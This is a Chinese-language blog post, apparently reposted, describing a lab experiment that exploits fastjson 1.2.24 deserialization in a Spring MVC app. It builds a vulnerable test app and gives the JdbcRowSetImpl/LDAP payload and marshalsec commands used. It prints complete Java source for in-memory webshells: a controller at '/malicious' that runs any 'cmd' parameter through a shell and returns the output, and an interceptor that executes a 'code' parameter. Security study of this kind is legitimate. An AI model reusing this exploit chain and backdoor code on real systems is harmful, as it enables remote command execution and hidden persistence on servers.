利用Fastjson注入Spring內存馬


此篇文章在於記錄自己對spring內存馬的實驗研究

一、環境搭建

搭建漏洞環境,利用fastjson反序列化,通過JNDI下載惡意的class文件,觸發惡意類的構造函數中代碼,注入controller內存馬。

1)組件版本:

fastjson: 1.2.24

spring-mvc: 4.3.28.RELEASE

JDK: 8u121

2)搭建springMVC+fastjson漏洞環境

可以參考網上的入門文章進行搭建,這里我放出我自己環境的配置文件

web.xml

  <servlet>
    <servlet-name>SpringMVC</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <!--配置springmvc.xml的路徑-->
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:springmvc.xml</param-value>
    </init-param>
  </servlet>
  <servlet-mapping>
    <servlet-name>SpringMVC</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>
</web-app>

springmvc.xml

<!--將AnnotationHandler自動掃描到IOC容器中-->
    <context:component-scan base-package="test.controller"></context:component-scan>

    <mvc:annotation-driven/>

    <!--配置視圖解析器-->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <!--配置前綴-->
        <property name="prefix" value="/"></property>
        <!--配置后綴-->
        <property name="suffix" value=".jsp"></property>
    </bean>

</beans>

HelloController

@Controller
public class HelloController {
    @ResponseBody
    @RequestMapping(value = "/hello", method = RequestMethod.POST)
    public Object hello(@RequestParam("code")String code) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.out.println(code);
        Object object = JSON.parse(code);
        return code + "->JSON.parseObject()->" + object;
    }
}

pom.xml

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
</dependency>

<dependency>
  <groupId>junit</groupId>
  <artifactId>junit</artifactId>
  <version>4.11</version>
  <scope>test</scope>
</dependency>
<!--SpringMVC依賴-->
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-webmvc</artifactId>
  <version>4.3.28.RELEASE</version>
</dependency>

二、動態注冊controller

在springMVC中,也可以在服務器程序啟動后,利用某種方式實現動態加載controller。

1)獲取上下文

LandGrey文章中介紹了四種方法,分別是

方式一:getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二:WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三:RequestContextUtils

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四:getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

而對於獲取上下文來說,推薦使用第三、四種方法。前兩種可能會獲取不到RequestMappingHandlerMapping實例

2)注冊controller

使用registerMapping方法來動態注冊我們的惡意controller

// 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通過反射獲得自定義 controller 中唯一的 Method 對象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

除了使用registerMapping方法注冊controller外,還有其余的方式可以參考https://landgrey.me/blog/12/

三、內存馬

以下是大佬的內存馬,接下來進行一個改動,使之能進行回顯

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // 第一個構造函數
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
       
        // 2. 通過反射獲得自定義 controller 中test的 Method 對象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定義訪問 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在內存中動態注冊 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 創建用於處理請求的對象,加入“aaa”參數是為了觸發第二個構造函數避免無限循環
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二個構造函數
    public InjectToController(String aaa) {}
	// controller指定的處理方法
    public void test() throws  IOException{
        // 獲取request和response對象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 獲取cmd參數並執行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

修改回顯

把test代碼中的內容替換為以下

// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
    String arg0 = request.getParameter("cmd");
    PrintWriter writer = response.getWriter();
    if (arg0 != null) {
        String o = "";
        java.lang.ProcessBuilder p;
        if(System.getProperty("os.name").toLowerCase().contains("win")){
            p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
        }else{
            p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
        }
        java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
        o = c.hasNext() ? c.next(): o;
        c.close();
        writer.write(o);
        writer.flush();
        writer.close();
    }else{
        //當請求沒有攜帶指定的參數(code)時,返回 404 錯誤
        response.sendError(404);
    }
}catch (Exception e){}

最終內存馬

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InjectToController {
    // 第一個構造函數
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通過反射獲得自定義 controller 中test的 Method 對象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定義訪問 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在內存中動態注冊 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 創建用於處理請求的對象,加入“aaa”參數是為了觸發第二個構造函數避免無限循環
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二個構造函數
    public InjectToController(String aaa) {}
    // controller指定的處理方法
    public void test() throws  IOException{
        // 獲取request和response對象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //當請求沒有攜帶指定的參數(code)時,返回 404 錯誤
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}

四、測試

fastjson<=1.2.24的 payload:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

1)啟動本地http服務,綁定端口8888

python3 -m http.server 8888

image-20211102145943587

2)利用marshalsec啟動LDAP服務,綁定端口9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

image-20211102150217315

3)訪問存在fastjson反序列化的頁面,http://localhost:8080/hello

發送payload:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}

image-20211102150613868

成功寫入內存馬

image-20211102150639741

踩坑

在實驗過程中,我發現主要有兩個比較難解決的點,導致實驗難以繼續

1.怎么編譯惡意class文件

可以看到,一個惡意類是有大量的依賴,如果直接采用javac編譯會報錯

-》javac InjectToController.java
InjectToController.java:16: 錯誤: 編碼GBK的不可映射字符
    // 絎竴涓瀯閫犲嚱鏁?
                 ^
InjectToController.java:19: 錯誤: 編碼GBK的不可映射字符
        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
                              ^
InjectToController.java:19: 錯誤: 編碼GBK的不可映射字符
        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
                                                                 ^

這時候可以利用idea自帶的編譯特性,先運行項目,然后在其項目的target目錄中尋找編譯后的class文件即可

image-20211102151526300

2.可以彈出計算器,卻無法注入內存馬

直接進行debug后發現,在這一行代碼會因為找不到RequestMappingHandlerMapping 的實例 bean而拋出異常

image-20211102151748183

image-20211102151941190

原因在於springmvc.xml文件中,沒有開啟<mvc:annotation-driven/>選項。

<mvc:annotation-driven/> 是為 MVC 提供額外的支持,參考 Spring 的官方文檔<mvc:annotation-driven/> 最主要的作用是注冊 HandlerMapping(實現為 DefaultAnnotationHandlerMapping) 和 HandlerAdapter(實現為 AnnotationMethodHandlerAdapter) 兩個類型的 Bean,這兩個 Bean 為 @Controllers(所有控制器) 提供轉發請求的功能。

而在Spring 3.1 開始及以后一般開始使用了新的RequestMappingHandlerMapping映射器。

五、后記

Interceptor內存馬

其實不光是可以注入controller型的內存馬,還可以注入Interceptor內存馬

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
        // 獲取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 從context中獲取AbstractHandlerMapping的實例對象
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
        // 反射獲取adaptedInterceptors屬性
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        // 避免重復添加
        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
                System.out.println("已經添加過TestInterceptor實例了");
                return;
            }
        }
        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免進入實例創建的死循環
        adaptedInterceptors.add(aaa);  //  添加全局interceptor
    }

    private TestInterceptor(String aaa){}

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        // 不干擾正常業務邏輯
        if (code != null) {
            java.lang.Runtime.getRuntime().exec(code);
            return true;
        }
        else {
            return true;
        }}}

注冊效果:

image-20211102153251054

六、參考

https://landgrey.me/blog/12/

https://www.cnblogs.com/bitterz/p/14820898.html

https://www.cnblogs.com/bitterz/p/14859766.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM